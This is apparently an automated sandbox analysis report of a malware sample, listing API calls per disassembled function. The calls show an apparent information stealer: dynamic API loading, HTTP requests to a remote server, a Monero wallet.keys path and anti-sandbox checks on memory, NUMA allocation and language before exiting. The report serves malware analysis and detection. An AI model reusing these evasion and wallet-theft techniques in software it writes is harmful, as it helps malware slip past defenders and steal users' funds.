GetProcAddress.KERNEL32(75900000,0130A988), ref: 00BBA260
GetProcAddress.KERNEL32(75900000,0130D3E0), ref: 00BBA278
GetProcAddress.KERNEL32(75900000,0130D3F8), ref: 00BBA291
GetProcAddress.KERNEL32(75900000,012F7108), ref: 00BBA2A9
GetProcAddress.KERNEL32(75900000,0130D548), ref: 00BBA2C1
GetProcAddress.KERNEL32(75900000,012F7128), ref: 00BBA2DA
GetProcAddress.KERNEL32(75900000,0130D578), ref: 00BBA2F2
GetProcAddress.KERNEL32(75900000,0130D428), ref: 00BBA30A
GetProcAddress.KERNEL32(75900000,012F7148), ref: 00BBA323
GetProcAddress.KERNEL32(75900000,012F7168), ref: 00BBA33B
LoadLibraryA.KERNEL32(0130D458,?,00BB5EF3,00BC0AEB,?,?,?,?,?,?,?,?,?,?,00BC0AEA,00BC0AE7), ref: 00BBA34D
LoadLibraryA.KERNEL32(0130D470,?,00BB5EF3,00BC0AEB,?,?,?,?,?,?,?,?,?,?,00BC0AEA,00BC0AE7), ref: 00BBA35E
LoadLibraryA.KERNEL32(0130D488,?,00BB5EF3,00BC0AEB,?,?,?,?,?,?,?,?,?,?,00BC0AEA,00BC0AE7), ref: 00BBA370
LoadLibraryA.KERNEL32(0130D4A0,?,00BB5EF3,00BC0AEB,?,?,?,?,?,?,?,?,?,?,00BC0AEA,00BC0AE7), ref: 00BBA382
LoadLibraryA.KERNEL32(0130D590,?,00BB5EF3,00BC0AEB,?,?,?,?,?,?,?,?,?,?,00BC0AEA,00BC0AE7), ref: 00BBA393
LoadLibraryA.KERNEL32(0130D5A8,?,00BB5EF3,00BC0AEB,?,?,?,?,?,?,?,?,?,?,00BC0AEA,00BC0AE7), ref: 00BBA3A5
LoadLibraryA.KERNEL32(0130D7A0,?,00BB5EF3,00BC0AEB,?,?,?,?,?,?,?,?,?,?,00BC0AEA,00BC0AE7), ref: 00BBA3B7
LoadLibraryA.KERNEL32(0130D740,?,00BB5EF3,00BC0AEB,?,?,?,?,?,?,?,?,?,?,00BC0AEA,00BC0AE7), ref: 00BBA3C8
GetProcAddress.KERNEL32(75FD0000,012F73C8), ref: 00BBA3EA
GetProcAddress.KERNEL32(75FD0000,0130D680), ref: 00BBA402
GetProcAddress.KERNEL32(75FD0000,01309398), ref: 00BBA41A
GetProcAddress.KERNEL32(75FD0000,0130D818), ref: 00BBA433
GetProcAddress.KERNEL32(75FD0000,012F73A8), ref: 00BBA44B
GetProcAddress.KERNEL32(734B0000,012FBE08), ref: 00BBA470
GetProcAddress.KERNEL32(734B0000,012F7428), ref: 00BBA489
GetProcAddress.KERNEL32(734B0000,012FBAE8), ref: 00BBA4A1
GetProcAddress.KERNEL32(734B0000,0130D6C8), ref: 00BBA4B9
GetProcAddress.KERNEL32(734B0000,0130D788), ref: 00BBA4D2
GetProcAddress.KERNEL32(734B0000,012F7588), ref: 00BBA4EA
GetProcAddress.KERNEL32(734B0000,012F74E8), ref: 00BBA502
GetProcAddress.KERNEL32(734B0000,0130D830), ref: 00BBA51B
GetProcAddress.KERNEL32(763B0000,012F74A8), ref: 00BBA53C
GetProcAddress.KERNEL32(763B0000,012F73E8), ref: 00BBA554
GetProcAddress.KERNEL32(763B0000,0130D938), ref: 00BBA56D
GetProcAddress.KERNEL32(763B0000,0130D860), ref: 00BBA585
GetProcAddress.KERNEL32(763B0000,012F7528), ref: 00BBA59D
GetProcAddress.KERNEL32(750F0000,012FBC78), ref: 00BBA5C3
GetProcAddress.KERNEL32(750F0000,012FBBD8), ref: 00BBA5DB
GetProcAddress.KERNEL32(750F0000,0130D890), ref: 00BBA5F3
GetProcAddress.KERNEL32(750F0000,012F7488), ref: 00BBA60C
GetProcAddress.KERNEL32(750F0000,012F75A8), ref: 00BBA624
GetProcAddress.KERNEL32(750F0000,012FBC00), ref: 00BBA63C
GetProcAddress.KERNEL32(75A50000,0130D770), ref: 00BBA662
GetProcAddress.KERNEL32(75A50000,012F7448), ref: 00BBA67A
GetProcAddress.KERNEL32(75A50000,013093A8), ref: 00BBA692
GetProcAddress.KERNEL32(75A50000,0130D7E8), ref: 00BBA6AB
GetProcAddress.KERNEL32(75A50000,0130D8A8), ref: 00BBA6C3
GetProcAddress.KERNEL32(75A50000,012F72C8), ref: 00BBA6DB
GetProcAddress.KERNEL32(75A50000,012F7508), ref: 00BBA6F4
GetProcAddress.KERNEL32(75A50000,0130D710), ref: 00BBA70C
GetProcAddress.KERNEL32(75A50000,0130D848), ref: 00BBA724
GetProcAddress.KERNEL32(75070000,012F7468), ref: 00BBA746
GetProcAddress.KERNEL32(75070000,0130D878), ref: 00BBA75E
GetProcAddress.KERNEL32(75070000,0130D800), ref: 00BBA776
GetProcAddress.KERNEL32(75070000,0130D8C0), ref: 00BBA78F
GetProcAddress.KERNEL32(75070000,0130D7B8), ref: 00BBA7A7
GetProcAddress.KERNEL32(74E50000,012F7408), ref: 00BBA7C8
GetProcAddress.KERNEL32(74E50000,012F72E8), ref: 00BBA7E1
GetProcAddress.KERNEL32(75320000,012F74C8), ref: 00BBA802
GetProcAddress.KERNEL32(75320000,0130D7D0), ref: 00BBA81A
GetProcAddress.KERNEL32(6F060000,012F7548), ref: 00BBA840
GetProcAddress.KERNEL32(6F060000,012F7328), ref: 00BBA858
GetProcAddress.KERNEL32(6F060000,012F7308), ref: 00BBA870
GetProcAddress.KERNEL32(6F060000,0130D8D8), ref: 00BBA889
GetProcAddress.KERNEL32(6F060000,012F7368), ref: 00BBA8A1
GetProcAddress.KERNEL32(6F060000,012F72A8), ref: 00BBA8B9
GetProcAddress.KERNEL32(6F060000,012F7348), ref: 00BBA8D2
GetProcAddress.KERNEL32(6F060000,012F7568), ref: 00BBA8EA
GetProcAddress.KERNEL32(6F060000,InternetSetOptionA), ref: 00BBA901
GetProcAddress.KERNEL32(6F060000,HttpQueryInfoA), ref: 00BBA917
GetProcAddress.KERNEL32(74E00000,0130D8F0), ref: 00BBA939
GetProcAddress.KERNEL32(74E00000,01309478), ref: 00BBA951
GetProcAddress.KERNEL32(74E00000,0130D908), ref: 00BBA969
GetProcAddress.KERNEL32(74E00000,0130D758), ref: 00BBA982
GetProcAddress.KERNEL32(74DF0000,012F75E8), ref: 00BBA9A3
GetProcAddress.KERNEL32(6F9C0000,0130D920), ref: 00BBA9C4
GetProcAddress.KERNEL32(6F9C0000,012F7608), ref: 00BBA9DD
GetProcAddress.KERNEL32(6F9C0000,0130D650), ref: 00BBA9F5
GetProcAddress.KERNEL32(6F9C0000,0130D668), ref: 00BBAA0D

Strings

HttpQueryInfoA, xrefs: 00BBA90C
InternetSetOptionA, xrefs: 00BBA8F5

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: ebd21827cdc6af02b688e0571b2a4d420ba3d7037f1a10575572bf05101c49ec
Instruction ID: 9496052ef8715ca04b55dda1a969687ce87c9b180d84b51b28f3eebe83398ee2
Opcode Fuzzy Hash: ebd21827cdc6af02b688e0571b2a4d420ba3d7037f1a10575572bf05101c49ec
Instruction Fuzzy Hash: F3629DB561A6419FC344DFABFC889167BB9B74D345340852ABA9DE3230DB7099C8CF60

Function 00BA48D0 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BBAAB0: lstrcpy.KERNEL32(?,00000000), ref: 00BBAAF6

Part of subcall function 00BA4800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00BA4889
Part of subcall function 00BA4800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00BA4899

Part of subcall function 00BBAA50: lstrcpy.KERNEL32(00BC0E1A,00000000), ref: 00BBAA98

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00BA4965
StrCmpCA.SHLWAPI(?,0130EE58), ref: 00BA498A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00BA4B0A
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00BC0DDE,00000000,?,?,00000000,?,",00000000,?,0130EDD8), ref: 00BA4E38
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00BA4E54
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00BA4E68
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00BA4E99
InternetCloseHandle.WININET(00000000), ref: 00BA4EFD
InternetCloseHandle.WININET(00000000), ref: 00BA4F15
HttpOpenRequestA.WININET(00000000,0130EE68,?,0130E828,00000000,00000000,00400100,00000000), ref: 00BA4B65

Part of subcall function 00BBACC0: lstrlen.KERNEL32(?,013095E8,?,\Monero\wallet.keys,00BC0E1A), ref: 00BBACD5
Part of subcall function 00BBACC0: lstrcpy.KERNEL32(00000000), ref: 00BBAD14
Part of subcall function 00BBACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00BBAD22

Part of subcall function 00BBABB0: lstrcpy.KERNEL32(?,00BC0E1A), ref: 00BBAC15

Part of subcall function 00BBAC30: lstrcpy.KERNEL32(00000000,?), ref: 00BBAC82
Part of subcall function 00BBAC30: lstrcat.KERNEL32(00000000), ref: 00BBAC92

InternetCloseHandle.WININET(00000000), ref: 00BA4F1F

Strings

------, xrefs: 00BA4CB9
------, xrefs: 00BA4B78
", xrefs: 00BA4D83
------, xrefs: 00BA4A0D
", xrefs: 00BA4C42

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: e01c0f644863ed9c792e769a4f3a3d375e62bbda95adfcb6d6045361c9c2b954
Instruction ID: 9d75194a5c3b11e9c6a71426ec257bdfdf3ec657a408897124e57b3f5e89b744
Opcode Fuzzy Hash: e01c0f644863ed9c792e769a4f3a3d375e62bbda95adfcb6d6045361c9c2b954
Instruction Fuzzy Hash: CE12C772D10118ABCB25EB90DDA2FEEB7B9AF55300F5045D9B11672091EFB06B48CB62

Function 00BB5760 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BBAB30: lstrlen.KERNEL32(00BA4F55,?,?,00BA4F55,00BC0DDF), ref: 00BBAB3B
Part of subcall function 00BBAB30: lstrcpy.KERNEL32(00BC0DDF,00000000), ref: 00BBAB95

Part of subcall function 00BBAA50: lstrcpy.KERNEL32(00BC0E1A,00000000), ref: 00BBAA98

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00BB5894
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00BB58F1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00BB5AA7

Part of subcall function 00BBAAB0: lstrcpy.KERNEL32(?,00000000), ref: 00BBAAF6

Part of subcall function 00BB5440: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00BB5478

Part of subcall function 00BBABB0: lstrcpy.KERNEL32(?,00BC0E1A), ref: 00BBAC15

Part of subcall function 00BB5510: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00BB5568
Part of subcall function 00BB5510: lstrlen.KERNEL32(00000000), ref: 00BB557F
Part of subcall function 00BB5510: StrStrA.SHLWAPI(00000000,00000000), ref: 00BB55B4
Part of subcall function 00BB5510: lstrlen.KERNEL32(00000000), ref: 00BB55D3
Part of subcall function 00BB5510: lstrlen.KERNEL32(00000000), ref: 00BB55FE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00BB59DB
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00BB5B90
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00BB5C5C
Sleep.KERNEL32(0000EA60), ref: 00BB5C6B

Strings

ERROR, xrefs: 00BB58E3
ERROR, xrefs: 00BB5B82
ERROR, xrefs: 00BB5C4E
ERROR, xrefs: 00BB59CD
ERROR, xrefs: 00BB5886
ERROR, xrefs: 00BB5A99

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 305a351eae42f6f5d5562b33f3840bfc1ca297de8b9cc642725c07738ca6ed0a
Instruction ID: afe060ae1e842d8ac6303af391da2b051ceddd48c7927f3464683fdc5633d131
Opcode Fuzzy Hash: 305a351eae42f6f5d5562b33f3840bfc1ca297de8b9cc642725c07738ca6ed0a
Instruction Fuzzy Hash: 52E10F71E10504ABCB24FBA4DDA3EFD77B9AF54300F4085E8B51666191EFB06A4CCB62

Function 00BB19F0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 00BB1A15
ExitProcess.KERNEL32 ref: 00BB1A21

Strings

block, xrefs: 00BB1A07

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 00d2b4a4817434be63a03d2b5b038d837d9b5a35e0b3392338b7ba03fd96a82f
Instruction ID: 979970a3bf230cf2d00c559885b3012966ca0295502f9db336af3f269a903662
Opcode Fuzzy Hash: 00d2b4a4817434be63a03d2b5b038d837d9b5a35e0b3392338b7ba03fd96a82f
Instruction Fuzzy Hash: E3513CB5A04209EFCB14DF98D9A4BFE77F9EF44304F5048A8E816AB251E7B0E944CB51

Function 00BB6C90 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BB9BB0: GetProcAddress.KERNEL32(75900000,01301358), ref: 00BB9BF1
Part of subcall function 00BB9BB0: GetProcAddress.KERNEL32(75900000,01301208), ref: 00BB9C0A
Part of subcall function 00BB9BB0: GetProcAddress.KERNEL32(75900000,01301250), ref: 00BB9C22
Part of subcall function 00BB9BB0: GetProcAddress.KERNEL32(75900000,01301130), ref: 00BB9C3A
Part of subcall function 00BB9BB0: GetProcAddress.KERNEL32(75900000,013011D8), ref: 00BB9C53
Part of subcall function 00BB9BB0: GetProcAddress.KERNEL32(75900000,01309548), ref: 00BB9C6B
Part of subcall function 00BB9BB0: GetProcAddress.KERNEL32(75900000,012F6E68), ref: 00BB9C83
Part of subcall function 00BB9BB0: GetProcAddress.KERNEL32(75900000,012F7188), ref: 00BB9C9C
Part of subcall function 00BB9BB0: GetProcAddress.KERNEL32(75900000,01301160), ref: 00BB9CB4
Part of subcall function 00BB9BB0: GetProcAddress.KERNEL32(75900000,01301178), ref: 00BB9CCC
Part of subcall function 00BB9BB0: GetProcAddress.KERNEL32(75900000,013012C8), ref: 00BB9CE5
Part of subcall function 00BB9BB0: GetProcAddress.KERNEL32(75900000,01301190), ref: 00BB9CFD
Part of subcall function 00BB9BB0: GetProcAddress.KERNEL32(75900000,012F71A8), ref: 00BB9D15
Part of subcall function 00BB9BB0: GetProcAddress.KERNEL32(75900000,013011F0), ref: 00BB9D2E

Part of subcall function 00BBAA50: lstrcpy.KERNEL32(00BC0E1A,00000000), ref: 00BBAA98

Part of subcall function 00BA11D0: ExitProcess.KERNEL32 ref: 00BA1211

Part of subcall function 00BA1160: GetSystemInfo.KERNEL32(?), ref: 00BA116A
Part of subcall function 00BA1160: ExitProcess.KERNEL32 ref: 00BA117E

Part of subcall function 00BA1110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00BA112B
Part of subcall function 00BA1110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00BA1132
Part of subcall function 00BA1110: ExitProcess.KERNEL32 ref: 00BA1143

Part of subcall function 00BA1220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00BA123E
Part of subcall function 00BA1220: __aulldiv.LIBCMT ref: 00BA1258
Part of subcall function 00BA1220: __aulldiv.LIBCMT ref: 00BA1266
Part of subcall function 00BA1220: ExitProcess.KERNEL32 ref: 00BA1294

Part of subcall function 00BB6A10: GetUserDefaultLangID.KERNEL32 ref: 00BB6A14

Part of subcall function 00BA1190: ExitProcess.KERNEL32 ref: 00BA11C6

Part of subcall function 00BB79E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00BA11B7), ref: 00BB7A10
Part of subcall function 00BB79E0: RtlAllocateHeap.NTDLL(00000000), ref: 00BB7A17
Part of subcall function 00BB79E0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00BB7A2F

Part of subcall function 00BB7A70: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00BB7AA0
Part of subcall function 00BB7A70: RtlAllocateHeap.NTDLL(00000000), ref: 00BB7AA7
Part of subcall function 00BB7A70: GetComputerNameA.KERNEL32(?,00000104), ref: 00BB7ABF

Part of subcall function 00BBACC0: lstrlen.KERNEL32(?,013095E8,?,\Monero\wallet.keys,00BC0E1A), ref: 00BBACD5
Part of subcall function 00BBACC0: lstrcpy.KERNEL32(00000000), ref: 00BBAD14
Part of subcall function 00BBACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00BBAD22

Part of subcall function 00BBABB0: lstrcpy.KERNEL32(?,00BC0E1A), ref: 00BBAC15

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,013094D8,?,00BC10F4,?,00000000,?,00BC10F8,?,00000000,00BC0AF3), ref: 00BB6D6A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00BB6D88
CloseHandle.KERNEL32(00000000), ref: 00BB6D99
Sleep.KERNEL32(00001770), ref: 00BB6DA4
CloseHandle.KERNEL32(?,00000000,?,013094D8,?,00BC10F4,?,00000000,?,00BC10F8,?,00000000,00BC0AF3), ref: 00BB6DBA
ExitProcess.KERNEL32 ref: 00BB6DC2

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: ac8ed910a7aa592bdf6c74f9eb4776c4f704619de1a4986bf10470eb2cfab236
Instruction ID: 0b44103eee5e1a5bdc05a14985661c1d62688dcc43ef52974d12aa6a476fbc72
Opcode Fuzzy Hash: ac8ed910a7aa592bdf6c74f9eb4776c4f704619de1a4986bf10470eb2cfab236
Instruction Fuzzy Hash: 0E311830E14208ABCB14FBE0DC57BFE77B9AF04300F5009A8F112A6192EFB06945C662

Function 00BA1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00BA123E
__aulldiv.LIBCMT ref: 00BA1258
__aulldiv.LIBCMT ref: 00BA1266
ExitProcess.KERNEL32 ref: 00BA1294

Strings

@, xrefs: 00BA1233

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 5ef23b61a15afd9c4843ead126f65883555b94f3ee6f674b780f1f683cac4342
